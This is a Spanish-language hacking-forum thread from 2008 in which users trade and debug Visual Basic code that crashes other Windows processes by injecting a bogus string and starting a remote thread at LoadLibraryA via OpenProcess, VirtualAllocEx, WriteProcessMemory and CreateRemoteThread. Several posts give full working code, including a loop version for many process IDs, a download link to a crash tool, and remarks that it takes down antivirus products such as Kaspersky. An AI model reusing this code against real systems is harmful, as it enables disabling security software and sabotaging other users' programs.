Foro de elhacker.net

Programación => Programación Visual Basic => Mensaje iniciado por: nhaalclkiemr en 14 Febrero 2008, 20:05 pm



Título: Inyeccion para crashear procesos
Publicado por: nhaalclkiemr en 14 Febrero 2008, 20:05 pm
Weno pues hablando asi con Tughack nos surgio el tema de crashear procesos inyectando en su memoria...me dijo que con el code de Hendrix para inyectar DLL en procesos si intentas inyectar DLLs que no existen (una ruta falsa) los procesos crasheaban...sin embargo a mi no me funciona y el volvio a probar y tampoco le funcionó...el code por si alguien no sabe es este:

http://foro.elhacker.net/index.php/topic,168272.0.html (http://foro.elhacker.net/index.php/topic,168272.0.html)

Alguien lo ha probado? alguien sabe como crashear un proceso inyectando en su memoria??

Weno a ver si alguien sabe algo de este tema...saludos ;)


Título: Re: Inyeccion para crashear procesos
Publicado por: byebye en 14 Febrero 2008, 20:38 pm
por darle una ruta que no existe no va a petar, devolvera su correspondiente codigo de error.


Título: Re: Inyeccion para crashear procesos
Publicado por: nhaalclkiemr en 14 Febrero 2008, 22:36 pm
mmm y como podría hacer para que petara?

había un code en antifahack que por lo menos antes me funcionaba...pero ahora como antifahack ha caido :-( ...que a pasado por cierto?

weno gracias y saludos ;)


Título: Re: Inyeccion para crashear procesos
Publicado por: cobein en 14 Febrero 2008, 23:46 pm
Aca les dejo uno que arme para pasar el rato, funciona inyectando con CreateRemoteThread una libreria echa en VB  y para crashear el programa lo subclasifica y bla bla bla.

http://rapidshare.com/files/91900694/DllCrash.zip.html


Título: Re: Inyeccion para crashear procesos
Publicado por: ~~ en 15 Febrero 2008, 11:41 am
Solo hay que inyectar "mal", este es el code de hendrix:

Código:
Dim Hendrix As String
 
Const PROCESS_ALL_ACCESS = &H1F0FFF
 
Const MEM_COMMIT = &H1000
Const MEM_RESERVE = &H2000
Const MEM_DECOMMIT = &H4000
Const MEM_RELEASE = &H8000
Const MEM_FREE = &H10000
Const MEM_PRIVATE = &H20000
Const MEM_MAPPED = &H40000
Const MEM_TOP_DOWN = &H100000
Const PAGE_READWRITE = &H4&
 
Private Sub Form_Load()
Dim PID As Long
Dim proc As Long
Dim nload As Long
Dim rems As Long
Dim DLL
 
Hendrix = "Crash"
 
 
 
PID = 2820 'Este es el pid del proceso a finalizar
proc = OpenProcess(PROCESS_ALL_ACCESS, False, PID)
nload = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA")
rems = VirtualAllocEx(proc, 0, Len(Hendrix), MEM_COMMIT, PAGE_READWRITE)
WriteProcessMemory proc, ByVal rems, Hendrix, 5, 0
CreateRemoteThread proc, 0, 0, nload, rems, 0, 0
CloseHandle proc
End
End Sub
Created by GeSHI 1.0.7.20


Modulo:

Código

GeSHi (vb):
Public Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Public Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
Public Declare Function GetModuleHandle Lib "kernel32" Alias "GetModuleHandleA" (ByVal lpModuleName As String) As Long
Public Declare Function VirtualAllocEx Lib "kernel32" (ByVal hProcess As Long, ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
Public Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
Public Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Public Declare Function CreateRemoteThread Lib "kernel32" (ByVal hProcess As Long, lpThreadAttributes As Long, ByVal dwStackSize As Long, lpStartAddress As Long, lpParameter As Any, ByVal dwCreationFlags As Long, lpThreadId As Long) As Long
 


Título: Re: Inyeccion para crashear procesos
Publicado por: Tughack en 15 Febrero 2008, 15:09 pm
Claro, no es por ser una ruta falsa, mencione lo de la ruta falsa pork estaba hablando con hendrix kuando el lo estaba probando, kuando probo con una ruta falsa ha descobierto k crasheava el kaspersky. Por eso en su CrashProc andava por ahi con una otra string xD

Saludos


Título: Re: Inyeccion para crashear procesos
Publicado por: nhaalclkiemr en 15 Febrero 2008, 16:05 pm
Boh ya se que era...

A ver Tughack tu te acuerdas que en un principio te pasara un code...ese era el que puso E0N aki pero un poco modificado, la cuestion es que al codigo que puso E0N aí (el que te pasara yo) si quitas la variable DLL, esa que aí esta declarada como Variant y aparentemente no hace nada, pues resulta que si la quitas el code no funciona...y yo como vi que no aparecia por ningun lado la habia quitado y no funcionaba...

Ahora explicadme una cosa...esa variable DLL si solo está declarada y no se utiliza apra nada pork está aí y si no la pones no crashean los procesos?? que cosa mas rara...pork pasa eso?

Saludos ;)


Título: Re: Inyeccion para crashear procesos
Publicado por: Tughack en 15 Febrero 2008, 16:11 pm
En este momento no tengo ni idea de lo k estas hablando. No recuerdo avermos hablado acerca de ningun codigo de E0N, mas tarde revisare los logs, pero creia k solo haviamos hablado de la inyeccion de hendrix xD

De kualkier forma, tienes k inyectar algo, se es una variable declarada o se lo insertas directamente no importa.

saludos


Título: Re: Inyeccion para crashear procesos
Publicado por: Eternal Idol en 15 Febrero 2008, 16:26 pm
¿No es mas facil que inyectar codigo directamente crear un hilo cuya direccion de inicio sea invalida? 0xCACACACA por ejemplo  :laugh:


Título: Re: Inyeccion para crashear procesos
Publicado por: nhaalclkiemr en 15 Febrero 2008, 16:45 pm
Jeje a ver ese code si mal no me equivoco es de Hendrix no de E0N...

Yo no habé de ningun code de E0N, yo te pase un code por MSN, asi en la ventana del MSN a pelo :xD , despues fue cuando me empezaste a hablar del code de Hendrix, pero tu te referias a otro, el de la DLL...

Weno eso no es la cuestion, el tema es que tu dices que hay que inyectar aunke aunke sea esa variable declarada, pero si te fijas y si no me equivoco lo que inyectas es la variable Hendrix, la variable DLL solo la declaras y no la inyectas...entonces para que declararla si no se usa? sin embargo si la quitas no funciona el code...eso es lo que no entiendo...

Weno tambien tengo que decir que el code es un poco "sensible"...si intento modificarlo un poco a veces deja de ir...

por ejemplo intenté poner un For en la funcion y PID en vez de ser un Long es una matriz de Longs...algo así para que nos etendamos:

Código
  1. Private Sub CrashProcesos(ByRef PID() As Long)
  2. Dim proc As Long
  3. Dim nload As Long
  4. Dim rems As Long
  5. Dim i as Long
  6. Dim DLL
  7.  
  8. Hendrix = "Crash"
  9.  
  10. For i = LBound(PID) to UBound(PID)
  11. proc = OpenProcess(PROCESS_ALL_ACCESS, 0, PID(i))
  12. nload = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA")
  13. rems = VirtualAllocEx(proc, 0, Len(Hendrix), MEM_COMMIT, PAGE_READWRITE)
  14. WriteProcessMemory proc, ByVal rems, Hendrix, Len(Hendrix), 0
  15. CreateRemoteThread proc, 0, 0, nload, rems, 0, 0
  16. CloseHandle proc
  17. Next i
  18. End
  19. End Sub

Y ahora lo que le paso es una matriz PID que contiene los PIDs que quiero terminar, pues ya no funciona...sin embargo, si quito el For, aunke use PID como una matriz el proceso si crasheara, aunke logicamente solo el primer elemento de la matriz pork al no haber For solo se ejecutará una vez el code con i igual a 0...

Pero weno esto tiene solucion poniendo el For a la hora de llamar a la funcion, es decir llamar a la funcion varias veces...sin modificar la funcion original y en vez de pasar matrices paso el PID que quiro crashear, simplemente que tengo que llamar varias veces a la funcion, asi si funciona...

Weno esto era solo para decir que la funcion era algo sensible y se comporta un poco rarita pero weno ya la consegui acoplarla de manera funcional...pero me intriga la variable esa DLL :xD

Gracias y saludos ;)


Título: Re: Inyeccion para crashear procesos
Publicado por: Tughack en 15 Febrero 2008, 17:23 pm
Ah si, lo he leido mal, "el codigo k puso E0N aki" xD

Ok, entonces, huh? Dim DLL? Eso no es usado, funciona sin el...

saludos


Título: Re: Inyeccion para crashear procesos
Publicado por: Freeze. en 15 Febrero 2008, 18:39 pm
A mi no me funciona sin Dim DLL :P Pero en modo depuracion ;)

Porque estando compilada la aplicacion si funciona :P

Por cierto que el nod32 me reincia :xD


Título: Re: Inyeccion para crashear procesos
Publicado por: nhaalclkiemr en 15 Febrero 2008, 21:11 pm
A mi no me funciona sin Dim DLL :P Pero en modo depuracion ;)

Porque estando compilada la aplicacion si funciona :P

Por cierto que el nod32 me reincia :xD

Am ok jaja, no sabia que compilado si funcionaba...aun asi k koca mas rara no? que en modo depuracion no vaya sin el Dim DLL ese... por si acaso lo voy a dejar que total no molesta :xD

Saludos ;)